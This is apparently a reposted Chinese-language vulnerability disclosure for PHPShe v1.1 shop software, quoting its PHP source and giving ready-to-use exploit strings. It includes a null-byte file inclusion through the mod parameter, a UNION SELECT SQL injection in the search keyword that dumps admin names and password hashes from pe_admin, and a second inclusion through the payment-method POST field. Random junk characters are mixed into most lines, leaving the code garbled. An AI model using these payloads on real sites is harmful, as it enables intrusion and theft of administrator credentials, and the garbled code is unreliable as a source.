phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
+ e/ ^: ]- @. C, O3 T5 c/* Phpshe v1.1 Vulnerability
/ S, N, ~) G& e  x% |7 e/* ========================
" C) Z- T! T- t/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
  [; Z! b% q  z0×00 整体大概参数传输
/ ?% r7 h4 R* [1 ]
8 j! C. L4 s' e$ ?; P

; F( o* p2 Q2 @//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
( ]( B! m- b6 X7 j/ \- Y/ \!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
. _$ I, s5 G) Oelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
% t, Y7 l8 F* Q8 e$ N3 i' B& H$ k!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
6 r" U/ y1 t1 i0 a9 \7 {, a
0×01 包含漏洞

; S' A$ S  W, I8 }1 V* O
+ X( B& `0 t+ N# [" K//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
! M/ ^9 E& C. q4 A% Q?>
1 |6 l8 y+ w. [* Q4 J//common 文件 第15行开始
$ O; U: e3 c2 Zurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
2 A" O3 b4 F+ Z. W//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
0 H2 k6 c: y1 _

: ~8 N, m# {% v4 u5 y' p+ U 0×02 搜索注入
$ o* `. O. g% ~; R. m' F
2 X' U% C9 A6 A7 o$ s; n1 e( |<code id="code2">

//product.php文件
case 'list':
3 ^, z5 o7 L8 Q5 x0 ]. @$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
& e. V1 M- @; ^: B0 |if ($category_id) {
; f6 v& H; }; |where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
8 k3 L0 z6 _# s2 C}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
9 E/ s! b5 L. ]; Iif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
& Z/ W$ g3 L9 E( B( ?3 C* g  {$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
2 i7 h3 }3 a' W: ]- {- q}
. b  Q0 b; k$ t) D+ u+ belse {
$sqlwhere .= " order by `product_id` desc";
}
  L7 C+ ~+ h2 L; Y9 d) C1 u- H- W$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
" f- p8 V* c1 _$product_hotlist = product_hotlist();
//当前路径
- n+ _1 G, U$ r2 B7 \) [3 P$nowpath = category_path($category_id);
# j. i) ^# D! x; ~. z" k9 u$seo = pe_seo($info['category_name']);
* y6 i, m, k0 f' b  Iinclude(pe_tpl('product_list.html'));
6 d$ u: X! U+ _& k, M4 n( B//跟进selectall函数库
0 T8 D$ Q. K9 b5 ^public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
$ e; b/ s0 ^( @8 i$ M{
$ J5 o' P& n- w( @( k+ ?7 n5 o$ D- J//处理条件语句
# Y( a- R0 c. S5 c, Y/ T$sqlwhere = $this->_dowhere($where);
. O6 u9 R% M, vreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
8 M" Z7 ~' ?4 l/ t4 e8 f}
//exp
; h1 }& J* U3 l, Zproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
! [/ I9 H  e: j- L- Y( d
+ [) S7 a: Y3 }, c0×03 包含漏洞2
5 [% [7 o- y+ b* \
<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

/ Z! b$ W" K7 Y# Q6 P$cache_payway = cache::get('payway');

" O+ B: c6 L' v1 W8 o4 hforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

! I8 n; V' ^# |3 n9 f5 e3 W. ^if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

- A1 X! T. k: U& ~6 s}

8 O" a' M3 [+ H$ Y}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

. P& J% l8 e8 z( B  p, Vif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

; ?. K9 x( R. w2 A! X1 F' _echo '正在为您连接支付网站，请稍后...';

* \# R. Y( P% u9 I4 w6 Ninclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; M. x& s) {% C- ?7 j$ D}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

! Z4 p7 @( P  Y! b}

0 W- Z( |8 H5 }1 k- Z9 i& {}

8 ^7 h3 o- R& ?! q. D6 N$seo = pe_seo('选择支付方式');

" I" }" Y# x  Vinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
3 ]5 m& a$ l4 f! {% Nhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg